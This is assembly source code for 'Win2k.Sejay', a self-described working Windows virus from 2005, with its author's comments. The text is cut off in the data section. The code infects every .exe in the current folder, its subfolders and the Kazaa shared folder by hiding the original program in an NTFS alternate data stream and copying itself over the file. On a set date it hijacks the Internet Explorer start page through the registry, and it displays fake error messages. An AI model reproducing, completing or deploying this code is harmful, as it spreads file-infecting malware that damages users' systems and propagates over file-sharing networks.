; ____________________________ ; | | ; | Win2k.Sejay |# ; | Stream Companion Virus |## ; | |## ; | coded by DiA/rrlf |## ; | (c)2005 Germany |## ; | |## ; | DiA_hates_machine@gmx.de |## ; | http://www.vx-dia.de.vu |## ; |____________________________|## ; ############################## ; ############################# ; ; ; ; .disclaimer ; This is a source code of a working virus! If you rewrite, copy or assemble it ; you and only YOU are responsible for the things you do! Take care... ; ; ; .intro ; This is a companion virus, using the "Stream Companion" method. Only working ; on NTFS formated harddrives, because FAT don't have the streaming feature. ; Inspired from the first "Stream Companion" virus Win2k.Stream (also the only ; one source I can find to learn from). Dedicated to my mate Erik, who is the ; name-father of this virus. I have heavy commented the source, hopy you like ; it! Only tested under WinXP SP1... ; ; ; .description ; -check OS, if its not Win2000 or above show a fake error message, because virus ; can't execute host or infecting files ; ; -working with a temp file, stored in windows directory as Sejay.DiA ; ; -infect files by creating a new stream with name of last 4 bytes from victim file ; eG Whatever.exe copy to Whatever.exe:ever ; then copy virus over the main stream Whatever.exe ; ; -the virus checks if the stream already exists, if so the file is already infected ; ; -execute host by creating stream name and run it eG execute Whatever.exe:ever , ; if something goes wrong it shows a fake message (also on first generation) ; ; -infect current folder, all sub-folders and the Kazaa Shared Folder (aka P2P spreading) ; ; -log every infected file in a file stored in windows directory called Sejay.htm , ; and if payload date (03.02) the virus sets this file to start page from IE, when ; somethin goes wrong it shows a simple message box with a lyric from Bad Luck 13 ; ; -unpacked the virus is 5632bytes huge, after upx'ing its 3072bytes small. ; ; ; .assemble ; Assemble it with the Flatassembler GUI version 1.56, you can get this nice assembler ; for free at http://flatassembler.net ! ; ; ; .outro ; For bug report or greets/fucks please mail me at DiA_hates_machine@gmx.de or do a entry ; in my guestbook at http://www.vx-dia.de.vu . And now have fun with this little creature... ; ; ; .source ;-----Sejay.asm-----start-------------------------------------------------------------------------------------------------- include "%fasminc%\win32ax.inc" ;equates Sejay: ;virus start invoke GetVersion ;get os verion (al=05 -> win2000 and above [eg winxp is 0A280105h]) cmp al, 05d ;check al for 05 jne NonNTFS ;if not show some fake error msg invoke GetModuleFileName,\ ;get virus file name 0,\ ;no handle VirusFile,\ ;save here full path 256d ;size of buffer cmp eax, 0 ;error? no virus path, no infection je ExecuteHost ;run host without infection :@ invoke GetWindowsDirectory,\ ;to store the temp file in WinTempDir,\ ;save here 256d ;size of buffer cmp eax, 0 ;error je ExecuteHost ;narf... mov esi, WinTempDir ;to check if the path is valid GetPathEnd: cmp byte [esi], 0 ;end of string? je CheckIfValid ;check for "\" at the end inc esi ;address + 1 jmp GetPathEnd CheckIfValid: cmp byte [esi - 1], "\" ;check for "\" at the end je BindStrings ;then dont append the \ mov byte [esi], "\" ;place a \ at the end of the string mov dword [esi + 1], 0 ; ,0 BindStrings: invoke lstrcat,\ ;append TempFile string via api WinTempDir,\ ;append to windows path TempFile ;append sthis invoke GetWindowsDirectory,\ ;to get payload file PayTempFile,\ ;store it here 256d ;size of buffer mov esi, PayTempFile ;check if it is valid GetPayEnd: cmp byte [esi], 0 ;end? je CheckValidness ;same as above inc esi jmp GetPayEnd ;again CheckValidness: cmp byte [esi - 1], "\" ;check string end for \ je MakePayFile ;all is ok mov byte [esi], "\" ;place \ at end mov dword [esi + 1], 0 ;zero MakePayFile: invoke lstrcat,\ ;bind strings PayTempFile,\ ;append to win dir PayFile ;the filename invoke CreateFile,\ ;open temp file PayTempFile,\ ;this GENERIC_READ + GENERIC_WRITE,\ ;read n write access FILE_SHARE_WRITE,\ ;open if can write 0,\ ;no security attributes OPEN_EXISTING,\ ;open the file FILE_ATTRIBUTE_NORMAL,\ ;normal 0 ;no handle cmp eax, INVALID_HANDLE_VALUE ;error? jne SaveHandle ;if not dont create file again call CreatePayloadFile ;if not exist create payload file SaveHandle: mov dword [PayHandle], eax ;save handle call InfectFolder ;infect current folder (all files) invoke FindFirstFile,\ ;get some folders Folder,\ ;by search for *.* Win32FindData ;already defined mov dword [FolderHandle], eax ;save handle FindMoreFolder: cmp eax, 0 ;no more folders?! je CloseFolderHandle ;then close handle and execute host stream invoke GetCurrentDirectory,\ ;to get a valid SetCurrentDir.. path 256d,\ ;size of buffer VictimFolder ;save there mov esi, VictimFolder ;get end of string GetEndDir: cmp byte [esi], 0 ;check for zero -> end je HaveEndDir ;check for validness inc esi ;next byte jmp GetEndDir ;check HaveEndDir: cmp byte [esi - 1], "\" ;is there a \ je DirValid ;if so, it is valid mov byte [esi], "\" ;if not make it valid mov dword [esi + 1], 0 ;end of string DirValid: mov esi, Win32FindData.cFileName ;get end of victim string GetEndVictim: cmp byte [esi], 0 ;end of string? je HaveEndVictim ;if so jmp to ... inc esi ;next byte jmp GetEndVictim ;check it baby HaveEndVictim: cmp byte [esi - 1], "." ;found a . or .. ?! je FindNextFolder ;if so find next cmp byte [esi - 4], "." ;is it a file? je FindNextFolder ;if so find next mov byte [esi], "\" ;to get a valid path mov dword [esi + 1], 0 ;zero at the end invoke lstrcat,\ ;bind strings VictimFolder,\ ;string1 Win32FindData.cFileName ;add this invoke SetCurrentDirectory,\ ;change directory VictimFolder ;to this cmp eax, 0 ;error? je FindNextFolder ;then find next call InfectFolder ;infect it baby mov esi, VictimFolder ;to change directory back GetFirstFolder1: cmp byte [esi], 0 ;check for end je HaveFirstFolder1 ;have it inc esi ;continue jmp GetFirstFolder1 ;... HaveFirstFolder1: sub esi, 2 ;get before "\" GetFirstFolder2: cmp byte [esi], "\" ;check for \ je HaveFirstFolder2 ;change back dec esi ;-1 jmp GetFirstFolder2 ;check HaveFirstFolder2: mov dword [esi + 1], 0 ;clear all after invoke SetCurrentDirectory,\ ;set it new VictimFolder ;to first folder FindNextFolder: invoke FindNextFile,\ ;find next dword [FolderHandle],\ ;the handle Win32FindData ;the structure jmp FindMoreFolder ;go get it CloseFolderHandle: invoke CloseHandle,\ ;close handle dword [FolderHandle] ;this invoke RegOpenKeyEx,\ ;open key HKEY_CURRENT_USER,\ ;with this handle KazaaShare,\ ;this subkey 0,\ ;reserved KEY_QUERY_VALUE,\ ;read a value KazaaRegHandle ;save there the handle cmp eax, 0 ;error? jne ExecuteHost ;no kazaa installed invoke RegQueryValueEx,\ ;read the value (shared folder path) dword [KazaaRegHandle],\ ;handle KazzaFolder,\ ;DlDir0 0,\ ;reserved 0,\ ;its a string KazaaVictim,\ ;save there the path KazaaSize ;size of buffer cmp eax, 0 ;error? jne CloseRegKey ;the close the key, no infection mov esi, KazaaVictim ;to check validness GetKazaaEnd: cmp byte [esi], 0 ;end of string? je HaveKazaaEnd ;jmp to there inc esi ;next place jmp GetKazaaEnd ;go for it! HaveKazaaEnd: cmp byte [esi - 1], "\" ;check for \ je KazaaSlash ;if exist jmp to ... mov byte [esi], "\" ;make it valid mov dword [esi + 1], 0 ;zero at end KazaaSlash: invoke SetCurrentDirectory,\ ;change to kazaa folder KazaaVictim ;infect this please call InfectFolder ;DO IT! CloseRegKey: invoke RegCloseKey,\ ;close key dword [KazaaRegHandle] ;with handle ExecuteHost: mov esi, VirusFile ;make host file string GetHostFileStream: cmp byte [esi], 0 ;0 is the end of the string je AppendHostStream ;then append stream name inc esi ;address + 1 jmp GetHostFileStream ;check next byte AppendHostStream: mov edi, dword [esi - 8d] ;load a dword in edi (last 4 chars of host file name) mov byte [esi], ":" ;append a : and then the name mov dword [esi + 1d], edi ;append last dword of victims name mov dword [esi + 5d], 0 ;append the zero invoke GetCommandLine ;get commandline (maybe user did some parameters) invoke CreateProcess,\ ;run host file stream VirusFile,\ ;current file + streamname = host stream eax,\ ;commandline in eax 0,\ ;no attributes 0,\ ;... 0,\ ;no flag CREATE_NEW_CONSOLE,\ ;run new prog 0,\ ;no new enviroment block 0,\ ;no current directory StartupInfo,\ ;structure ProcessInfo ;structure cmp eax, 0 ;error starting stream? je CantRunHost ;show error msg box invoke GetSystemTime,\ ;payload action?! Systemtime ;structure cmp word [Systemtime.wMonth], 02d ;2. month of the year? jne Exit ;if not the exit cmp word [Systemtime.wDay], 03d ;03.02? jne Exit ;goodbye invoke RegOpenKeyEx,\ ;open registry key HKEY_CURRENT_USER,\ ;handle PaySubkey,\ ;open this 0,\ ;reserved KEY_SET_VALUE,\ ;set a value PayRegHandle ;save here the handle cmp eax, 0 ;error? jne PayloadMessage ;then other payload invoke lstrlen,\ ;get lenth of pay file string PayTempFile ;here inc eax ;including the zero invoke RegSetValueEx,\ ;change start page of IE dword [PayRegHandle],\ ;handle of open key PayIEStart,\ ;value name 0,\ ;reserved REG_SZ,\ ;its a string PayTempFile,\ ;this data eax ;size cmp eax, 0 ;error? jne PayloadMessage ;hmm, then use a simple msgbox invoke RegCloseKey,\ ;close it dword [PayRegHandle] ;with handle jmp Exit ;bye PayloadMessage: invoke MessageBox,\ ;show user a msgbox 0,\ ;bad luck 13 lyric PayLyric,\ ;more lines then one "You are infected with Win2k.Sejay! :: coded by DiA/rrlf (c)05",\ MB_ICONINFORMATION ;information style Exit: invoke CloseHandle,\ ;close payload file dword [PayHandle] ;with handle invoke ExitProcess,\ ;exit virus 0 NonNTFS: invoke MessageBox,\ ;no ntfs formated, cant run virus 0,\ "This application requires a NTFS formated disk.",\ ;) "ERROR 53656A6179",\ ;hex for Sejay MB_ICONERROR ;scary error jmp Exit ;dont grumble the win9x user anymore ^^ CantRunHost: invoke MessageBox,\ ;cant run host :/ 0,\ "Application execution failed.",\ "ERROR 446941",\ ;hex for DiA MB_ICONERROR jmp Exit CreatePayloadFile: invoke CreateFile,\ ;create the payload file in win dir PayTempFile,\ ;create this GENERIC_READ + GENERIC_WRITE,\ ;read n write FILE_SHARE_WRITE,\ ;to write 0,\ ;no attributes CREATE_NEW,\ ;new file FILE_ATTRIBUTE_NORMAL,\ ;normal all 0 ;no handle push eax ;save handle invoke WriteFile,\ ;write file header eax,\ ;handle PayHTMLhead,\ ;points to buffer 133d,\ ;numers of bytes to write PayBytesWritten,\ ;bytes written 0 ;no overlapped pop eax ;get handle ret ;return InfectFolder: invoke FindFirstFile,\ ;find first vicitim (*.exe) Victims,\ ;exe Win32FindData ;structure mov dword [FindHandle], eax ;save handle FindMoreFiles: cmp eax, 0 ;no more files?! je InfectDone ;restore host file name (steam) and run it invoke lstrcpy,\ ;copy victim path to appen stream name VictimStream,\ ;copy to this Win32FindData.cFileName ;from this (eax points to buffer string ..VistimStream..) GetVictimFileStream: cmp byte [eax], 0 ;get end of string je CheckVirusFile ;check if founded file is the virus file itself & append the stream name inc eax ;address + 1 jmp GetVictimFileStream ;next byte CheckVirusFile: mov ebx, VirusFile ;to jmp to the end of the string GetVirusFileEnd: cmp byte [ebx], 0 ;zero = end je CompareFiles ;copare the strings (1dowrd (xxxx)) inc ebx ;if not address + 1 jmp GetVirusFileEnd CompareFiles: mov esi, dword [ebx - 8d] ;load a dword befor extension mov edi, dword [eax - 8d] ;... cmp esi, edi ;compare je FindNextVictim ;dont belong the virus mov byte [eax], ":" ;append a : and then the name mov dword [eax + 1d], edi ;append last dword of victims name mov dword [eax + 5d], 0 ;append the zero invoke CopyFile,\ ;copy victim to temp file Win32FindData.cFileName,\ ;this to WinTempDir,\ ;temp file 0 ;copy always cmp eax, 0 ;error? je FindNextVictim ;dont infect if we cant make a temp file invoke CopyFile,\ ;check if we can copy the temp file to stream name WinTempDir,\ ;if not the file is already infected VictimStream,\ ;to this name Victim.exe:ctim 1 ;not copy always cmp eax, 0 ;error? je FindNextVictim ;then find next file invoke CopyFile,\ ;copy virus file to vivtim VirusFile,\ ;this Win32FindData.cFileName,\ ;to this 0 ;always cmp eax, 0 ;error?! je FindNextVictim ;no infection, narf invoke CopyFile,\ ;copy victim to stream WinTempDir,\ ;temp file VictimStream,\ ;this 0 ;always cmp eax, 0 ;erroreee je FindNextVictim ;more more more invoke SetFilePointer,\ ;end of payload file dword [PayHandle],\ ;handle of file 0,\ ;no distance, only end 0,\ ;brrr FILE_END ;there we go invoke WriteFile,\ ;infected html header
dword [PayHandle],\ ;file handle PayInfHeader,\ ;filename + scary message 12d,\ ;number of bytes to write PayBytesWritten,\ ;number of bytes written 0 ;no structure invoke lstrcat,\ ;append scarey infected! message Win32FindData.cFileName,\ ;append to this PayInfected ;payload message invoke lstrlen,\ ;get legth of string to write it in payload file eax ;pointer to buffer ^^^^ invoke WriteFile,\ ;write infected file to payload file dword [PayHandle],\ ;file handle Win32FindData.cFileName,\ ;filename + scary message eax,\ ;number of bytes to write PayBytesWritten,\ ;number of bytes written 0 ;no structure FindNextVictim: invoke DeleteFile,\ ;delete WinTempDir ;the temp file invoke FindNextFile,\ ;find more files to infect dword [FindHandle],\ ;handle from FindFirstFile Win32FindData ;structure jmp FindMoreFiles ;go get it! InfectDone: invoke CloseHandle,\ ;close find handle dword [FindHandle] ret ;back to call Datas: VirusFile rb 256d ;save here full path of virus file WinTempDir rb 256d ;to store temp files Victims db "*.exe",0 ;search for exe FindHandle dd ? ;save here handle to find exe files VictimStream rb 256d ;victim stream name TempFile db "Sejay.DiA",0 ;temp file FolderHandle dd ? ;handle for finding sub folders VictimFolder rb 256d ;save here folder to infect Folder db "*.*",0 ;find all (including folders) KazaaShare db "Software\Kazaa\Transfer",0 ;for kazza share folder infection KazaaRegHandle dd ? ;handle for reg key KazzaFolder db "DlDir0",0 ;value name KazaaVictim rb 255d ;save path here KazaaSize db 255d ;size of buffer StartupInfo STARTUPINFO ;structure already defined by fasm ProcessInfo PROCESS_INFORMATION ;... Win32FindData FINDDATA ;... Systemtime SYSTEMTIME ;... PayTempFile rb 256d PayFile db "Sejay.htm",0 PayHTMLhead db "